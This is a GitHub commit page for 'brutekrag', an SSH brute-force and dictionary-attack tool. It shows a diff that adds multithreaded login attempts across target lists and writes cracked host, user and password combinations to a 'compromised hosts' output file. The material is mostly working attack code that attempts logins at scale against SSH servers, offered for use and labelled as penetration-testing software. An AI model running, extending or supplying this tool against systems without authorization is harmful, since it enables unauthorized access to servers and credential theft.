Skip to content

Commit a0d4b83

Browse files
committed
+ Output compromised hosts data to a file
+ Multi threads support
1 parent d46707a commit a0d4b83

File tree

4 files changed

+101
-21
lines changed

4 files changed

+101
-21
lines changed

README.md

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -27,15 +27,16 @@ $ brutekrag --help
2727

2828
usage: brutekrag [-h] [-t TARGET] [-T TARGETS] [-pF PASSWORDS] [-uF USERS]
2929
[-sF SINGLE] [--separator SEPARATOR] [-p PORT] [-u USER]
30-
[-P PASSWORD] [--timeout TIMEOUT]
30+
[-P PASSWORD] [--timeout TIMEOUT] [--threads THREADS]
31+
[-o OUTPUT]
3132

3233
_ _ _
3334
| | | | | |
3435
| |__ _ __ _ _| |_ ___| | ___ __ __ _ __ _
3536
| '_ \| '__| | | | __/ _ \ |/ / '__/ _` |/ _` |
3637
| |_) | | | |_| | || __/ <| | | (_| | (_| |
3738
|_.__/|_| \__,_|\__\___|_|\_\_| \__,_|\__, |
38-
OpenSSH Brute force tool 0.2.1 __/ |
39+
OpenSSH Brute force tool 0.3.0 __/ |
3940
(c) Copyright 2014 Jorge Matricali |___/
4041
4142
@@ -58,6 +59,9 @@ optional arguments:
5859
-P PASSWORD, --password PASSWORD
5960
Single password bruteforce.
6061
--timeout TIMEOUT Connection timeout (in seconds, 1 default).
62+
--threads THREADS Total number of threads to use (default 1).
63+
-o OUTPUT, --output OUTPUT
64+
Output file for compromised hosts.
6165
```
6266

6367
## Example usages

bin/brutekrag

Lines changed: 86 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -28,22 +28,82 @@ import sys
2828
import brutekrag
2929
import argparse
3030
from argparse import RawTextHelpFormatter
31+
import threading
32+
import signal
33+
import time
34+
35+
exit_flag = False
36+
threads = []
37+
matrix = []
38+
compromisedHostsBuffer = None
39+
40+
41+
def teardown(signal=0):
42+
print('Stopping threads...')
43+
exit_flag = True
44+
try:
45+
for t in threads:
46+
try:
47+
t.stop()
48+
except Exception as e:
49+
print(e)
50+
except Exception as e:
51+
print(e)
52+
sys.exit(signal)
53+
54+
55+
def signal_handler(signal, frame):
56+
teardown(0)
3157

3258

3359
def print_error(message, *args):
3460
print('\033[91m\033[1mERROR:\033[0m %s' % message, *args, file=sys.stderr)
3561

3662

63+
class brutekragThread(threading.Thread):
64+
def __init__(self, threadID, name, **kwargs):
65+
super(brutekragThread, self).__init__()
66+
self._threadID = threadID
67+
self._name = name
68+
self._running = True
69+
70+
def run(self):
71+
self.log('Starting thread...')
72+
while(matrix and self._running):
73+
try:
74+
loginAttempt = matrix.pop()
75+
btkg = brutekrag.brutekrag(loginAttempt[0], args.port, timeout=args.timeout)
76+
if btkg.connect(loginAttempt[1], loginAttempt[2]) is True:
77+
print('\033[37m[%s:%d]\033[0m The password for user \033[1m%s\033[0m is \033[92m\033[1m%s\033[0m' % (loginAttempt[0], args.port, loginAttempt[1], loginAttempt[2]))
78+
if args.output is not None:
79+
print('%s:%d %s:%s' % (loginAttempt[0], args.port, loginAttempt[1], loginAttempt[2]), file=compromisedHostsBuffer)
80+
if args.user is not None:
81+
# This execution aims to a single user, so all the job is done. :D
82+
teardown(0)
83+
break
84+
except Exception as ex:
85+
print_error(str(ex))
86+
self.stop()
87+
88+
def stop(self):
89+
self.log('Stopping...')
90+
self._running = False
91+
92+
def log(self, *args):
93+
print(time.ctime(time.time()), self._name, *args)
94+
95+
3796
banner = ('''\033[92m _ _ _
3897
| | | | | |
3998
| |__ _ __ _ _| |_ ___| | ___ __ __ _ __ _
4099
| '_ \| '__| | | | __/ _ \ |/ / '__/ _` |/ _` |
41100
| |_) | | | |_| | || __/ <| | | (_| | (_| |
42101
|_.__/|_| \__,_|\__\___|_|\_\_| \__,_|\__, |
43-
\033[0m\033[1mOpenSSH Brute force tool 0.2.1\033[92m __/ |
102+
\033[0m\033[1mOpenSSH Brute force tool 0.3.0\033[92m __/ |
44103
\033[0m(c) Copyright 2014 Jorge Matricali\033[92m |___/\033[0m
45104
\n''')
46105

106+
signal.signal(signal.SIGINT, signal_handler)
47107
parser = argparse.ArgumentParser(description=banner,
48108
formatter_class=RawTextHelpFormatter)
49109

@@ -57,6 +117,8 @@ parser.add_argument('-p', '--port', type=int, help='Target port (default 22).',
57117
parser.add_argument('-u', '--user', type=str, help='Single user bruteforce.')
58118
parser.add_argument('-P', '--password', type=str, help='Single password bruteforce.')
59119
parser.add_argument('--timeout', type=int, help='Connection timeout (in seconds, 1 default).', default=1)
120+
parser.add_argument('--threads', type=int, default=1, help='Total number of threads to use (default 1).')
121+
parser.add_argument('-o', '--output', type=str, default=None, help='Output file for compromised hosts.')
60122

61123
try:
62124
args = parser.parse_args()
@@ -114,19 +176,27 @@ elif args.single is None:
114176
print_error('You must specify a password dictionary.')
115177
sys.exit(255)
116178

179+
'''
180+
OUTPUT BUFFER
181+
'''
182+
if args.output is not None:
183+
try:
184+
compromisedHostsBuffer = open(args.output, 'a')
185+
except Exception as error:
186+
print_error('Can\'t output to %s: %s' % (args.output, str(error)))
187+
117188

118189
'''
119190
BUILD MATRIX
120191
'''
121-
matrix = []
122192
if args.single is not None:
123193
# Single file
124194
dictionary = []
125195
with open(args.single, 'r') as dictionaryFile:
126196
for line in dictionaryFile:
127197
dictionary.append(line)
128198
dictionaryFile.close()
129-
print('Loaded %d passwords from %s\n' % (len(dictionary), args.single))
199+
print('Loaded %d combinations of username and password from %s\n' % (len(dictionary), args.single))
130200

131201
for line in dictionary:
132202
username, password = line.split(args.separator)
@@ -143,14 +213,20 @@ else:
143213
for target in targets:
144214
matrix.append([target.strip(), username.strip(), password.strip('\n')])
145215

216+
matrix.reverse()
217+
print('%d total loggin attemps.' % len(matrix))
218+
print('Starting %d threads...\n' % args.threads)
146219

147-
print('%d total loggin attemps.\n' % len(matrix))
148-
for loginAttempt in matrix:
149-
try:
150-
btkg = brutekrag.brutekrag(loginAttempt[0], args.port, timeout=args.timeout)
151-
btkg.connect(loginAttempt[1], loginAttempt[2])
152-
except Exception as ex:
153-
print_error(str(ex))
220+
threads = [None]*args.threads
221+
for nt in range(args.threads):
222+
threads[nt] = brutekragThread(nt+1, 'Thread-%d' % (nt+1))
223+
threads[nt].daemon = True
224+
threads[nt].start()
225+
226+
while(threads):
227+
for t in threads:
228+
if not t._running:
229+
threads.remove(t)
154230

155231

156232
print('Bye...')

brutekrag/__init__.py

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -60,21 +60,21 @@ def connect(self, username, password):
6060

6161
except paramiko.AuthenticationException:
6262
self.print_debug('[%s:%d] Password %s for user %s failed' % (self.host, self.port, password, username))
63-
client.close()
64-
return 255
63+
return False
64+
6565
except (paramiko.ssh_exception.BadHostKeyException) as error:
6666
self.print_error('[%s:%d] BadHostKeyException: %s' % (self.host, self.port, error.message))
67-
return 255
67+
return False
68+
6869
except (paramiko.ssh_exception.SSHException, socket.error) as se:
6970
self.print_error('[%s:%d] Connection error: %s' % (self.host, self.port, str(se)))
70-
return 255
71+
return False
7172

7273
except paramiko.ssh_exception.SSHException as error:
7374
self.print_error('[%s:%d] An error occured: %s' % (self.host, self.port, error.message))
74-
return 255
75+
return False
7576

7677
finally:
7778
client.close()
7879

79-
print('\033[37m[%s:%d]\033[0m The password for user \033[1m%s\033[0m is \033[37m\033[1m%s\033[0m' % (self.host, self.port, username, password))
80-
return 0
80+
return True

setup.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,13 +3,13 @@
33
setup(
44
name='brutekrag',
55
packages=['brutekrag'],
6-
version='0.2.1',
6+
version='0.3.0',
77
description='Penetration tests on SSH servers using brute force or dictionary attacks',
88
author='Jorge Matricali',
99
author_email='[email protected]',
1010
license='MIT',
1111
url='https://github.com/jorge-matricali/brutekrag',
12-
download_url='https://github.com/jorge-matricali/brutekrag/archive/v0.2.1.tar.gz',
12+
download_url='https://github.com/jorge-matricali/brutekrag/archive/v0.3.0.tar.gz',
1313
scripts=['bin/brutekrag'],
1414
keywords=['ssh', 'brute force', 'ethical hacking', 'pentesting', 'dictionary attack', 'penetration test'],
1515
classifiers=(

0 commit comments

Comments
 (0)